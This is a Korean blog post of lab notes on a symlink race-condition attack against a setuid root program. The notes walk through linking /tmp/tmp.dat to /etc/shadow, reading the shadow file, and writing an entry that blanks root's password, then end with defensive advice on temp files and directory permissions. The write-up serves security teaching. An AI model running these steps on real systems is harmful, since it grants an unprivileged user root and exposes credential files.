티스토리 뷰

1.시스템

Race Condition 공격 실습

222b 2019. 10. 11. 11:12

 ls -al

setuid 프로세스가 실행되는 동안에는 소유자의 권한으로 실행되는 것 

vi race_cond.c

현재 계정은 두리 99 ./race_cond /tmp/tmp.dat "leeduri"

 

root 들어가 ls -al /tmp/tmp.dat

cat /tmp/tmp.dat

 

race_cond -> rwsrwxr_x, setuid , 실행: 두리99(uid:500, gid:508channel)

실행을 하게 되면 ruid는 실행시킨 사용자의 uid , euid: setuid가 설정되어 있어서 root , egid: 설정안되서 euid 그냥 가져옴

프로세스 실행동안에 자원접근할때 권한판단의 기준은 euid와 egid 

/tmp/tmp.dat 소유자는 euid에서 가져와서 root, 소유그룹 508(channel)

 

정보보호론은 공부를 멈추는 순간 일을 할 수 없다 

마스터가 어딨니.........

 

rm -rf /tmp/tmp.dat

 

 

cp /etc/shadow /etc/shadow.bak

 

두리99가 공격자 

 

id 

 

ln -s /etc/shadow /tmp/tmp.dat

 

ls -al /tmp/tmp.dat

 

id

cat /tmp/tmp.dat

ls -al /tmp/tmp.dat

심볼릭 링크는 별도의 파일 다만 경로정보만 가지고 있음

심볼릭 링크의 rwxrwxrwx는 임시파일에 대해서만 rwxrwxrwx할수 있다는 것임 

 

rm -rf /tmp/tmp.dat

 

두리99계정

cat /etc/shadow 

root 패스워드복사

 

./race_cond /tmp/tmp.dat "root::16900:0:99999:7:::"root의 패스워드를 빈 계정으로 하면 10초동안 슬립이 걸리고 

 

두리88계정 

ln -s /etc/shadow /tmp/tmp.dat

ls -al /tmp/tmp.dat 심볼릭링크파일 확인 

 

두리 88계정에서 

 

cp /etc/shadow.bak /etc/shadow 다시 복사 

 

  • 버퍼오버플로우 ->strcpy , strncpy
  • race condition -> symbolic link와 symbolic link를 생성하는 코드 ln -s, 임시파일을 생성하는 파일이 반드시 나옴(tmp~~)
  • 가능하면 임시파일을 생성하지 않는게 좋음, 메모리 상에 자료구조를 생성해서 하는게 안전하다
  • 임시파일을 사용한 임시 디렉토리에 w권한이 다 빠질거임 777->755가 되면 디렉토리에 w 권한이 없으면 파일을 생성하거나 삭제할 수 없다. 
  • 임의의 공격자가 파일을 생성하거나 삭제할 수 없다. 
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2025/02   »
1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28
글 보관함